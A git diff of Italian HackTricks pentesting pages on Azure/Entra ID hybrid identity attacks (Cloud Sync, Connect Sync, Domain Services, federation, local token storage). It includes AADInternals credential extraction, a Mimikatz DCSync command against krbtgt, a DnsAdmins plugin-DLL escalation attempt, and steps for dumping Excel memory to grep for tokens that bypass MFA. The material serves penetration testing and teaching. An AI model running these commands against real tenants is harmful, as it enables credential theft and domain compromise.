(`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) con il ruolo **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). +- In Entra ID l'utente `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) viene creato con il ruolo **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`). > [!WARNING] > Questo ruolo aveva molte autorizzazioni privilegiate e poteva essere utilizzato per [**escalare privilegi anche a global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Tuttavia, Microsoft ha deciso di rimuovere tutti i privilegi di questo ruolo e assegnarne solo uno nuovo **`microsoft.directory/onPremisesSynchronization/standard/read`** che non consente realmente di eseguire alcuna azione privilegiata (come modificare la password o gli attributi di un utente o aggiungere una nuova credenziale a un SP). -- In Entra ID viene anche creata il gruppo **`AAD DC Administrators`** senza membri o proprietari. Questo gruppo è utile se [`Microsoft Entra Domain Services`](./az-domain-services.md) viene utilizzato. +- In Entra ID viene anche creata il gruppo **`AAD DC Administrators`** senza membri o proprietari. Questo gruppo è utile se viene utilizzato [`Microsoft Entra Domain Services`](./az-domain-services.md). - Nell'AD, viene creato o l'Account di Servizio **`provAgentgMSA`** con un SamAccountName come **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), oppure uno personalizzato con [**queste autorizzazioni necessarie**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Di solito viene creato quello predefinito. @@ -29,15 +29,15 @@ Affinché questo funzioni, alcuni principali vengono creati sia in Entra ID che ## Sincronizzazione della Password -Questa sezione è molto simile a quella di: +La sezione è molto simile a quella di: {{#ref}} az-connect-sync.md {{#endref}} - **La sincronizzazione dell'hash della password** può essere abilitata in modo che gli utenti possano **accedere a Entra ID utilizzando le loro password da AD**. Inoltre, ogni volta che una password viene modificata in AD, verrà aggiornata in Entra ID. -- **La scrittura della password** può essere abilitata, consentendo agli utenti di modificare la propria password in Entra ID sincronizzando automaticamente la loro password nel dominio on-premise. Ma secondo la [documentazione attuale](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), per questo è necessario utilizzare il Connect Agent, quindi dai un'occhiata alla [sezione Az Connect Sync](./az-connect-sync.md) per ulteriori informazioni. -- **Scrittura dei gruppi**: Questa funzionalità consente che le appartenenze ai gruppi da Entra ID vengano sincronizzate nuovamente nell'AD on-premises. Ciò significa che se un utente viene aggiunto a un gruppo in Entra ID, verrà aggiunto anche al corrispondente gruppo in AD. +- **La scrittura della password** può essere abilitata, consentendo agli utenti di modificare la propria password in Entra ID sincronizzando automaticamente la loro password nel dominio on-premise. Ma secondo i [documenti attuali](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), per questo è necessario utilizzare il Connect Agent, quindi dai un'occhiata alla [sezione Az Connect Sync](./az-connect-sync.md) per ulteriori informazioni. +- **Scrittura dei gruppi**: Questa funzionalità consente che le appartenenze ai gruppi da Entra ID vengano sincronizzate nuovamente nell'AD on-premise. Ciò significa che se un utente viene aggiunto a un gruppo in Entra ID, verrà aggiunto anche al corrispondente gruppo in AD. ## Pivoting @@ -74,14 +74,14 @@ ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword ``` Ora puoi utilizzare l'hash del gMSA per eseguire un attacco Pass-the-Hash contro Entra ID utilizzando l'account `provAgentgMSA` e mantenere la persistenza potendo eseguire attacchi DCSync contro l'AD. -Per ulteriori informazioni su come compromettere un Active Directory, controlla: +Per ulteriori informazioni su come compromettere un Active Directory controlla: {{#ref}} https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html {{#endref}} > [!NOTE] -> Nota che non c'è modo di assegnare ruoli Azure o EntraID agli utenti sincronizzati in base ai loro attributi, ad esempio nelle configurazioni di Cloud Sync. Tuttavia, per concedere automaticamente permessi agli utenti sincronizzati, alcuni **gruppi Entra ID da AD** potrebbero ricevere permessi in modo che anche gli utenti sincronizzati all'interno di quei gruppi li ricevano, oppure **potrebbero essere utilizzati gruppi dinamici**, quindi controlla sempre le regole dinamiche e i potenziali modi per abusarne: +> Nota che non esiste alcun modo per assegnare ruoli di Azure o EntraID agli utenti sincronizzati in base ai loro attributi, ad esempio nelle configurazioni di Cloud Sync. Tuttavia, per concedere automaticamente permessi agli utenti sincronizzati, alcuni **gruppi Entra ID da AD** potrebbero ricevere permessi in modo che anche gli utenti sincronizzati all'interno di quei gruppi li ricevano, oppure **potrebbero essere utilizzati gruppi dinamici**, quindi controlla sempre le regole dinamiche e i potenziali modi per abusarne: {{#ref}} ../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -127,12 +127,12 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C ### Entra ID --> AD -- Se **Password Writeback** è abilitato, puoi modificare la password di alcuni utenti da Entra ID e, se hai accesso alla rete AD, connetterti utilizzando queste credenziali. Per ulteriori informazioni, controlla la sezione [Az Connect Sync](./az-connect-sync.md) poiché il password writeback è configurato utilizzando quell'agente. +- Se **Password Writeback** è abilitato, puoi modificare la password di alcuni utenti da Entra ID e se hai accesso alla rete AD, connetterti utilizzando quelle credenziali. Per ulteriori informazioni, controlla la sezione [Az Connect Sync](./az-connect-sync.md) poiché il password writeback è configurato utilizzando quell'agente. -- A questo punto, Cloud Sync consente anche **"Microsoft Entra ID to AD"**, ma dopo troppo tempo ho scoperto che NON PUÒ sincronizzare gli utenti di EntraID con AD e che può solo sincronizzare gli utenti di EntraID che sono stati sincronizzati con l'hash della password e provengono da un dominio che appartiene allo stesso dominio forest del dominio a cui ci stiamo sincronizzando, come puoi leggere in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): +- A questo punto, Cloud Sync consente anche **"Microsoft Entra ID to AD"**, ma dopo troppo tempo ho scoperto che NON PUÒ sincronizzare gli utenti di EntraID con AD e che può solo sincronizzare gli utenti da EntraID che sono stati sincronizzati con l'hash della password e provengono da un dominio che appartiene allo stesso dominio forest del dominio a cui ci stiamo sincronizzando, come puoi leggere in [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): -> - Questi gruppi possono contenere solo utenti sincronizzati on-premises e/o gruppi di sicurezza creati nel cloud aggiuntivi. -> - Gli account utente on-premises che sono sincronizzati e sono membri di questo gruppo di sicurezza creato nel cloud possono provenire dallo stesso dominio o da domini diversi, ma devono tutti appartenere alla stessa foresta. +> - Questi gruppi possono contenere solo utenti sincronizzati on-premises e/o gruppi di sicurezza creati in cloud aggiuntivi. +> - Gli account utente on-premises che sono sincronizzati e sono membri di questo gruppo di sicurezza creato in cloud, possono provenire dallo stesso dominio o da domini diversi, ma devono tutti appartenere alla stessa foresta. Quindi la superficie di attacco (e l'utilità) di questo servizio è notevolmente ridotta poiché un attaccante dovrebbe compromettere l'AD iniziale da cui gli utenti vengono sincronizzati per compromettere un utente nell'altro dominio (e entrambi devono apparentemente essere nella stessa foresta). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md similarity index 93% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index 91e44ddaf..4e86ef9c6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -19,8 +19,8 @@ az-cloud-sync.md ### Principali Generati - L'account **`MSOL_`** viene creato automaticamente nell'AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**. -- Ciò significa che chiunque comprometta questo account sarà in grado di compromettere il dominio on-premise. -- Un account di servizio gestito **`ADSyncMSA`** viene creato nell'AD on-prem senza privilegi predefiniti speciali. +- Questo significa che chiunque comprometta questo account sarà in grado di compromettere il dominio on-premise. +- Un account di servizio gestito **`ADSyncMSA`** viene creato nell'AD on-prem senza privilegi speciali di default. - In Entra ID, il Service Principal **`ConnectSyncProvisioning_ConnectSync_`** viene creato con un certificato. ## Sincronizzare le Password @@ -42,7 +42,7 @@ Quando un utente on-prem vuole accedere a una risorsa Azure, **l'autenticazione ### Scrittura della Password -Questa configurazione consente di **synchronizzare le password da Entra ID in AD** quando un utente cambia la propria password in Entra ID. Nota che per il funzionamento della scrittura della password, l'utente `MSOL_` generato automaticamente nell'AD deve ricevere [più privilegi come indicato nella documentazione](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) in modo da poter **modificare le password di qualsiasi utente nell'AD**. +Questa configurazione consente di **synchronizzare le password da Entra ID in AD** quando un utente cambia la propria password in Entra ID. Nota che per il funzionamento della scrittura della password, l'utente `MSOL_` generato automaticamente nell'AD deve essere autorizzato [a ricevere più privilegi come indicato nella documentazione](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) in modo da poter **modificare le password di qualsiasi utente nell'AD**. Questo è particolarmente interessante per compromettere l'AD da un Entra ID compromesso poiché sarai in grado di modificare la password di "quasi" qualsiasi utente. @@ -90,11 +90,11 @@ Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.md `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -La **configurazione criptata** è criptata con **DPAPI** e contiene le **password dell'`MSOL_*`** utente in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo queste è possibile ottenere privilegi elevati su AD e AzureAD. +La **configurazione criptata** è criptata con **DPAPI** e contiene le **password dell'`MSOL_*`** utente in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo queste è possibile effettuare privesc su AD e AzureAD. Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Abusare di MSOL\_\* +### Abusare di MSOL\_* ```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version @@ -112,8 +112,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!WARNING] -> Attacchi precedenti hanno compromesso l'altro password per poi connettersi all'utente Entra ID chiamato `Sync_*` e poi compromettere Entra ID. Tuttavia, questo utente non esiste più. - +> Gli attacchi precedenti hanno compromesso l'altro password per poi connettersi all'utente Entra ID chiamato `Sync_*` e poi compromettere Entra ID. Tuttavia, questo utente non esiste più. ### Abusare di ConnectSyncProvisioning_ConnectSync\_ @@ -131,7 +130,7 @@ In ogni caso, pensando che ciò possa essere possibile, sarebbe interessante esp Questo [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) è stato pubblicato poco prima del cambiamento dall'uso dell'utente `Sync_*` a questo service principal, spiegando che il certificato era memorizzato all'interno del server e che era possibile trovarlo, generare PoP (Proof of Possession) di esso e token grafico, e con questo, essere in grado di aggiungere un nuovo certificato al service principal (perché un **service principal** può sempre assegnare a se stesso nuovi certificati) e poi usarlo per mantenere la persistenza come SP. -Per eseguire queste azioni, sono stati pubblicati i seguenti strumenti: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). +Per eseguire queste azioni, sono pubblicati i seguenti strumenti: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). Dalla mia esperienza, il certificato non è più memorizzato nel luogo in cui il precedente strumento lo cercava, e quindi, lo strumento non funziona più. Potrebbe essere necessaria ulteriore ricerca. @@ -188,8 +187,8 @@ seamless-sso.md ## Pivoting Entra ID --> AD -- Se il writeback della password è abilitato, puoi **modificare la password di qualsiasi utente nell'AD** che è sincronizzato con Entra ID. -- Se il writeback dei gruppi è abilitato, puoi **aggiungere utenti a gruppi privilegiati** in Entra ID che sono sincronizzati con l'AD. +- Se la scrittura della password è abilitata, puoi **modificare la password di qualsiasi utente nell'AD** che è sincronizzato con Entra ID. +- Se la scrittura dei gruppi è abilitata, puoi **aggiungere utenti a gruppi privilegiati** in Entra ID che sono sincronizzati con l'AD. ## Riferimenti diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md new file mode 100644 index 000000000..4789ea658 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -0,0 +1,86 @@ +# Az - Microsoft Entra Domain Services + +{{#include ../../../../banners/hacktricks-training.md}} + +## Servizi di Dominio + +Microsoft Entra Domain Services consente di implementare un Active Directory in Azure senza la necessità di gestire i Domain Controllers (in realtà non hai nemmeno accesso a loro). + +Il suo obiettivo principale è consentire di eseguire applicazioni legacy nel cloud che non possono utilizzare metodi di autenticazione moderni, o dove non si desidera che le ricerche nel directory tornino sempre a un ambiente AD DS on-premises. + +Nota che per sincronizzare gli utenti generati in Entra ID (e non sincronizzati da altri active directory) con il servizio di dominio AD è necessario **cambiare la password dell'utente** con una nuova in modo che possa essere sincronizzata con il nuovo AD. In realtà, l'utente non viene sincronizzato da Microsoft Entra ID ai Servizi di Dominio fino a quando la password non viene cambiata. + +> [!WARNING] +> Anche se stai creando un nuovo dominio active directory, non sarai in grado di gestirlo completamente (a meno di sfruttare alcune misconfigurazioni), il che significa che per impostazione predefinita, ad esempio, non puoi creare utenti direttamente nell'AD. Li crei **synchronizzando gli utenti da Entra ID.** Puoi indicare di sincronizzare tutti gli utenti (anche quelli sincronizzati da altri AD on-premise), solo gli utenti cloud (utenti creati in Entra ID), o anche **filtrarli ulteriormente**. + +> [!NOTE] +> In generale, a causa della mancanza di flessibilità nella configurazione del nuovo dominio e del fatto che gli AD sono solitamente già on-premise, questa non è l'integrazione principale tra Entra ID e AD, ma è comunque interessante sapere come comprometterlo. + +### Pivoting + +I membri del gruppo generato **`AAD DC Administrators`** ricevono permessi di amministratore locale su VM che sono collegate al dominio gestito (ma non nei domain controllers) perché vengono aggiunti al gruppo degli amministratori locali. I membri di questo gruppo possono anche utilizzare **Remote Desktop per connettersi da remoto a VM collegate al dominio**, e sono anche membri dei gruppi: + +- **`Denied RODC Password Replication Group`**: Questo è un gruppo che specifica utenti e gruppi le cui password non possono essere memorizzate nella cache sui RODC (Read-Only Domain Controllers). +- **`Group Policy Creators Owners`**: Questo gruppo consente ai membri di creare Group Policies nel dominio. Tuttavia, i suoi membri non possono applicare group policies a utenti o gruppi o modificare GPO esistenti, quindi non è così interessante in questo ambiente. +- **`DnsAdmins`**: Questo gruppo consente di gestire le impostazioni DNS ed è stato abusato in passato per [escalare privilegi e compromettere il dominio](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), tuttavia dopo aver testato l'attacco in questo ambiente è stato verificato che la vulnerabilità è stata corretta: +```text +dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll + +DNS Server failed to reset registry property. +Status = 5 (0x00000005) +Command failed: ERROR_ACCESS_DENIED 5 0x5 +``` +Nota che per concedere queste autorizzazioni, all'interno dell'AD il gruppo **`AAD DC Administrators`** è reso membro dei gruppi precedenti, e anche il GPO **`AADDC Computers GPO`** aggiunge come Amministratori Locali tutti i membri del gruppo di dominio **`AAD DC Administrators`**. + +Il pivoting da Entra ID a un AD creato con Domain Services è semplice, basta aggiungere un utente nel gruppo **`AAD DC Administrators`**, accedere tramite RDP a qualsiasi/tutte le macchine nel dominio e sarai in grado di rubare dati e anche **compromettere il dominio.** + +Tuttavia, il pivoting dal dominio a Entra ID non è così facile poiché nulla del dominio viene sincronizzato in Entra ID. Tuttavia, controlla sempre i metadati di tutte le VM unite poiché le loro identità gestite assegnate potrebbero avere autorizzazioni interessanti. Inoltre, **dumpa tutte le password degli utenti dal dominio** e prova a decifrarle per poi accedere a Entra ID / Azure. + +> [!NOTE] +> Nota che in passato sono state trovate altre vulnerabilità in questo AD gestito che hanno permesso di compromettere i DC, [come questa](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). Un attaccante che compromette il DC potrebbe facilmente mantenere la persistenza senza che gli amministratori di Azure se ne accorgano o siano in grado di rimuoverla. + +### Enumerazione +```bash +# Get configured domain services domains (you can add more subs to check in more subscriptions) +az rest --method post \ +--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \ +--body '{ +"subscriptions": [ +"0ce1297c-9153-425d-3229-f51093614377" +], +"query": "resources | where type == \"microsoft.aad/domainservices\"", +"options": { +"$top": 16, +"$skip": 0, +"$skipToken": "" +} +}' + +# Get domain configuration +az rest --url "https://management.azure.com/subscriptions//resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/?api-version=2022-12-01&healthdata=true" +## e.g. +az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true" + +# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain + +subscription_id="0ce1297c-9153-425d-3229-f51093614377" +vnet_name="aadds-vnet" + +# Retrieve all VMs in the subscription +vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv) + +# Iterate through each VM to check their VNet connection +echo "VMs connected to VNet '$vnet_name':" +while IFS=$'\t' read -r vm_name resource_group; do +nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv) + +for nic_id in $nic_ids; do +subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv) + +if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then +echo "VM Name: $vm_name, Resource Group: $resource_group" +fi +done +done <<< "$vm_list" +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md similarity index 92% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md index c1ff45419..c4796f246 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md @@ -6,7 +6,7 @@ [Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) ->**La federazione** è un insieme di **domini** che hanno stabilito **fiducia**. Il livello di fiducia può variare, ma tipicamente include **autenticazione** e quasi sempre include **autorizzazione**. Una federazione tipica potrebbe includere un **numero di organizzazioni** che hanno stabilito **fiducia** per un **accesso condiviso** a un insieme di risorse. +>**Federazione** è una raccolta di **domini** che hanno stabilito **fiducia**. Il livello di fiducia può variare, ma tipicamente include **autenticazione** e quasi sempre include **autorizzazione**. Una federazione tipica potrebbe includere un **numero di organizzazioni** che hanno stabilito **fiducia** per un **accesso condiviso** a un insieme di risorse. >Puoi **federare il tuo ambiente on-premises** **con Azure AD** e utilizzare questa federazione per l'autenticazione e l'autorizzazione. Questo metodo di accesso garantisce che tutta l'**autenticazione degli utenti avvenga on-premises**. Questo metodo consente agli amministratori di implementare livelli di controllo degli accessi più rigorosi. La federazione con **AD FS** e PingFederate è disponibile.
@@ -25,7 +25,7 @@ In qualsiasi configurazione di federazione ci sono tre parti: 1. Inizialmente, un'applicazione (Service Provider o SP, come la console AWS o il client web vSphere) viene accessibile da un utente. Questo passaggio potrebbe essere bypassato, portando il client direttamente all'IdP (Identity Provider) a seconda dell'implementazione specifica. 2. Successivamente, lo SP identifica l'IdP appropriato (ad es., AD FS, Okta) per l'autenticazione dell'utente. Quindi crea una SAML (Security Assertion Markup Language) AuthnRequest e reindirizza il client all'IdP scelto. -3. L'IdP prende il controllo, autenticando l'utente. Dopo l'autenticazione, una SAMLResponse viene formulata dall'IdP e inoltrata allo SP tramite l'utente. +3. L'IdP prende il controllo, autenticando l'utente. Dopo l'autenticazione, una SAMLResponse viene formulata dall'IdP e inoltrata allo SP attraverso l'utente. 4. Infine, lo SP valuta la SAMLResponse. Se convalidata con successo, implicando una relazione di fiducia con l'IdP, all'utente viene concesso l'accesso. Questo segna il completamento del processo di accesso, consentendo all'utente di utilizzare il servizio. **Se vuoi saperne di più sull'autenticazione SAML e sugli attacchi comuni vai a:** @@ -37,8 +37,8 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ## Pivoting - AD FS è un modello di identità basato su claims. -- "..le claims sono semplicemente affermazioni (ad esempio, nome, identità, gruppo), fatte sugli utenti, che vengono utilizzate principalmente per autorizzare l'accesso a applicazioni basate su claims situate ovunque su Internet." -- Le claims per un utente sono scritte all'interno dei token SAML e vengono quindi firmate per fornire riservatezza da parte dell'IdP. +- "..le claim sono semplicemente dichiarazioni (ad esempio, nome, identità, gruppo), fatte sugli utenti, che vengono utilizzate principalmente per autorizzare l'accesso a applicazioni basate su claims situate ovunque su Internet." +- Le claim per un utente sono scritte all'interno dei token SAML e vengono quindi firmate per fornire riservatezza da parte dell'IdP. - Un utente è identificato da ImmutableID. È globalmente unico e memorizzato in Azure AD. - L'ImmutableID è memorizzato on-prem come ms-DS-ConsistencyGuid per l'utente e/o può essere derivato dal GUID dell'utente. - Maggiori informazioni in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) @@ -48,14 +48,14 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html - In ADFS, la SAML Response è firmata da un certificato di firma del token. - Se il certificato è compromesso, è possibile autenticarsi su Azure AD come QUALSIASI utente sincronizzato con Azure AD! - Proprio come il nostro abuso di PTA, la modifica della password per un utente o MFA non avrà alcun effetto perché stiamo falsificando la risposta di autenticazione. -- Il certificato può essere estratto dal server AD FS con privilegi DA e poi può essere utilizzato da qualsiasi macchina connessa a Internet. +- Il certificato può essere estratto dal server AD FS con privilegi DA e quindi può essere utilizzato da qualsiasi macchina connessa a Internet. - Maggiori informazioni in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) ### Golden SAML Il processo in cui un **Identity Provider (IdP)** produce una **SAMLResponse** per autorizzare l'accesso dell'utente è fondamentale. A seconda dell'implementazione specifica dell'IdP, la **risposta** potrebbe essere **firmata** o **crittografata** utilizzando la **chiave privata dell'IdP**. Questa procedura consente al **Service Provider (SP)** di confermare l'autenticità della SAMLResponse, assicurandosi che sia stata effettivamente emessa da un IdP fidato. -Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **falsificare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente di impersonare qualsiasi utente, concedendo accesso non autorizzato allo SP. +Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **forgiare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP. I Golden SAML offrono alcuni vantaggi: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md similarity index 97% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md index 478266e5f..6ee270278 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md @@ -1,4 +1,4 @@ -# Attacchi Vari sulla Identità Ibrida +# Attacchi Vari su Identità Ibrida {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index b043fa57d..7cd14be54 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -4,11 +4,11 @@ ## Archiviazione Locale dei Token e Considerazioni sulla Sicurezza -### Azure CLI (Interfaccia della Riga di Comando) +### Azure CLI (Interfaccia a Riga di Comando) -I token e i dati sensibili sono memorizzati localmente da Azure CLI, sollevando preoccupazioni di sicurezza: +I token e i dati sensibili sono archiviati localmente da Azure CLI, sollevando preoccupazioni di sicurezza: -1. **Token di Accesso**: Memorizzati in testo semplice all'interno di `accessTokens.json` situato in `C:\Users\\.Azure`. +1. **Token di Accesso**: Archiviati in testo semplice all'interno di `accessTokens.json` situato in `C:\Users\\.Azure`. 2. **Informazioni sull'Abbonamento**: `azureProfile.json`, nella stessa directory, contiene i dettagli dell'abbonamento. 3. **File di Log**: La cartella `ErrorRecords` all'interno di `.azure` potrebbe contenere log con credenziali esposte, come: - Comandi eseguiti con credenziali incorporate. @@ -16,24 +16,44 @@ I token e i dati sensibili sono memorizzati localmente da Azure CLI, sollevando ### Azure PowerShell -Azure PowerShell memorizza anche token e dati sensibili, che possono essere accessibili localmente: +Azure PowerShell archivia anche token e dati sensibili, che possono essere accessibili localmente: -1. **Token di Accesso**: `TokenCache.dat`, situato in `C:\Users\\.Azure`, memorizza i token di accesso in testo semplice. -2. **Segreti del Principale di Servizio**: Questi sono memorizzati non crittografati in `AzureRmContext.json`. -3. **Funzione di Salvataggio del Token**: Gli utenti hanno la possibilità di persistere i token utilizzando il comando `Save-AzContext`, che dovrebbe essere utilizzato con cautela per prevenire accessi non autorizzati. +1. **Token di Accesso**: `TokenCache.dat`, situato in `C:\Users\\.Azure`, archivia i token di accesso in testo semplice. +2. **Segreti del Principale di Servizio**: Questi sono archiviati non crittografati in `AzureRmContext.json`. +3. **Funzione di Salvataggio del Token**: Gli utenti hanno la possibilità di persistere i token utilizzando il comando `Save-AzContext`, che dovrebbe essere usato con cautela per prevenire accessi non autorizzati. -## Strumenti Automatici per Trovarli +### Strumenti Automatici per Trovarli - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Raccomandazioni di Sicurezza +## Token in Memoria -Considerando l'archiviazione di dati sensibili in testo semplice, è cruciale proteggere questi file e directory: +Come spiegato in [**questo video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), alcuni software Microsoft sincronizzati con il cloud (Excel, Teams...) potrebbero **archiviare token di accesso in chiaro nella memoria**. Quindi, semplicemente **dumpando** la **memoria** del processo e **greppando per token JWT** potrebbe concederti accesso a diverse risorse della vittima nel cloud bypassando MFA. -- Limitare i diritti di accesso a questi file. -- Monitorare e auditare regolarmente queste directory per accessi non autorizzati o cambiamenti inaspettati. -- Impiegare la crittografia per file sensibili dove possibile. -- Educare gli utenti sui rischi e le migliori pratiche per gestire tali informazioni sensibili. +Passaggi: + +1. Dumpa i processi di excel sincronizzati con l'utente EntraID con il tuo strumento preferito. +2. Esegui: `string excel.dmp | grep 'eyJ0'` e trova diversi token nell'output. +3. Trova i token che ti interessano di più e esegui strumenti su di essi: +```bash +# Check the identity of the token +curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq + +# Check the email (you need a token authorized in login.microsoftonline.com) 